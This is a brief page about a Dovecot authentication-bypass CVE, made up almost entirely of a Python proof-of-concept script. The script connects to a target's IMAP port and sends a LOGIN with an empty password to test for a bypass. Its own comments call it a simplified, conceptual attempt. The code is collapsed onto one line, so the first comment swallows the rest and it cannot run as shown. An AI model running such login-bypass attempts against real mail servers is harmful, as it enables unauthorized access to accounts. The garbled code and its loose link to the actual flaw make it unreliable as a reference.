CVE-2026-24031 Dovecot身份验证绕过漏洞

# PoC for Dovecot Auth Bypass (CVE-2026-24031) # This script attempts to authenticate when 'auth_username_chars' is empty. # It serves as a conceptual check for the vulnerability condition. import socket import sys def check_dovecot_bypass(target_ip, port, username): try: # Connect to the IMAP port (usually 143 or 993) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, port)) # Read server banner banner = s.recv(1024).decode() print(f"[+] Banner: {banner.strip()}") # Attempt AUTHENTICATE PLAIN or LOGIN depending on config # If auth_username_chars is empty, specific inputs might bypass checks # This is a simplified representation of the exploit attempt payload = f"A001 LOGIN {username} \"\"\r\n" s.send(payload.encode()) response = s.recv(1024).decode() print(f"[+] Response: {response.strip()}") if "OK Logged in" in response or "A001 OK" in response: print(f"[!] Potential Bypass Successful for user: {username}") else: print("[-] Authentication failed or configuration not vulnerable") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Usage: python poc.py <target_ip> <port> <username> if len(sys.argv) != 4: print("Usage: python poc.py <ip> <port> <user>") else: check_dovecot_bypass(sys.argv[1], int(sys.argv[2]), sys.argv[3])